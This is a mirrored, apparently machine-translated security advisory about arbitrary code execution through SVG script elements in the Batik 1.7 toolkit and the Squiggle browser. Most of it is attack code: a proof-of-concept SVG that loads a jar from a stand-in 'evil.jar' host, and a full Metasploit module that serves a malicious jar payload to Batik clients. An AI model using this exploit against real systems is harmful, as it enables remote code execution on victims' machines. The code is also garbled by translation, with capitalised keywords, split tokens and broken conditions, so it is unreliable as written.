Scalable Vector Graphics (SVG) Arbitrary Code Execution Vulnerability

Release date:
Updated on:

Affected Systems:
W3C SVG Scalable Vector Graphics (SVG) tiny1.2
W3C SVG Scalable Vector Graphics (SVG) 1.2
Apache Group Batik SVG Toolkit 1.7
Description:
--------------------------------------------------------------------------------
Bugtraq id: 53552

Scalable Vector Graphics (SVG) is a format used to describe two-dimensional Vector Graphics based on the Extensible Markup Language (XML. SVG is an open standard developed by W3C.

Arbitrary code execution vulnerability exists in the implementation of SVG 1.1 and SVG Tiny 1.2 specifications. Attackers can exploit this vulnerability to execute arbitrary code and illegal operations.

<* Source: Christian Johansson
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Christian Johansson () provides the following test methods:

<Svg xmlns = "http://www.w3.org/2000/svg"
Xmlns: xlink = "http://www.w3.org/1999/xlink"
Version = "1.0">
<Script type = "application/java-archive" xlink: href = "http://www.example.com/evil.jar"/>
<Text> Static text... </text>
</Svg>

##
# This file is part of the Metasploit Framework and may be subject
# Redistribution and specified cial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# Http://metasploit.com/framework/
##

Require 'msf/core'

Class Metasploit3 <Msf: Exploit: Remote
Rank = ExcellentRanking

Include Msf: Exploit: Remote: HttpServer: HTML

Def initialize (info = {})
Super (update_info (info,
'Name' => "Squiggle 1.7 SVG Browser Java Code Execution ",
'Description' => % q {
This module abuses the SVG support to execute Java Code in
Squiggle Browser embedded in the Batik framework 1.7 through
Crafted svg file referencing a jar file.

In order to gain arbitrary code execution, the browser must meet
The following conditions: (1) It must support at least SVG version
1.1 or newer, (2) It must support Java code and (3) The "Enforce
Secure scripting "check must be disabled.

The module has been tested against Windows and Linux platforms.
},
'License '=> MSF_LICENSE,
'Author' =>
[
'Nicolas Gregoire ', # aka @ Agarri_FR, Abuse discovery and PoC
'Sinn3r ', # Metasploit
'Juan vazquez' # Metasploit
],
'References '=>
[
['Url', 'HTTP: // www. agarri. fr/blog/']
],
'Payload' =>
{
'Space' => 20480,
'Badchars' => '',
'Disablenops' => true
},
'Defaultopexception' =>
{
'Exitfunction' => "none"
},
'Platform' => ['win', 'linux ', 'java'],
'Targets' =>
[
['Generic (Java Payload )',
{
'Arch '=> ARCH_JAVA,
}
],
['Windows unival ',
{
'Arch '=> ARCH_X86,
'Platform' => 'win'
}
],
['Linux x86 ',
{
'Arch '=> ARCH_X86,
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'Disclosuredate' => "May 11 2012 ",
'Defaulttarget' => 0 ))

End

Def on_request_uri (cli, request)

Agent = request. headers ['user-agent']
Jar_uri = ('/' = get_resource [-1, 1])? Get_resource [0, get_resource.length-1]: get_resource
Jar_uri <"/# {rand_text_alpha (rand (6) + 3)}. jar"
Rand_text = Rex: Text. rand_text_alphanumeric (rand (8) + 4)

If request. uri = ~ /\. Jar $/
Paths = [
["Exploit. class"],
["Exploit $1. class"],
["META-INF", "MANIFEST. MF"]
]

P = regenerate_payload (cli)

Jar = p. encoded_jar
Paths. each do | path |
1. upto (path. length-1) do | idx |
Full = path [0, idx]. join ("/") + "/"
If! (Jar. entries. map {| e. name}. include? (Full ))
Jar. add_file (full ,'')
End
End

Fd = File. open (File. join (Msf: Config. install_root, "data", "exploits", "batik_svg", path), "rb ")
Data = fd. read (fd. stat. size)
Jar. add_file (path. join ("/"), data)
Fd. close
End

Print_status ("Sending jar payload ")
Send_response (cli, jar. pack, {'content-type' => 'application/java-archive '})

Elsif agent = ~ /Batik/
Svg = % Q |
<Svg xmlns = "http://www.w3.org/2000/svg" xmlns: xlink = "http://www.w3.org/1999/xlink" version = "1.0">
<Script type = "application/java-archive" xlink: href = "# {jar_uri}"/>
<Text >#{ rand_text} </text>
</Svg>
|

Svg = svg. gsub (/\ t /,'')
Print_status ("Sending svg ")
Send_response (cli, svg, {'content-type' => 'image/svg + xml '})

Else
Print_error ("I don't know what the client is requesting: # {request. uri }")
End
End
End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

W3C
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.w3.org/Graphics/SVG/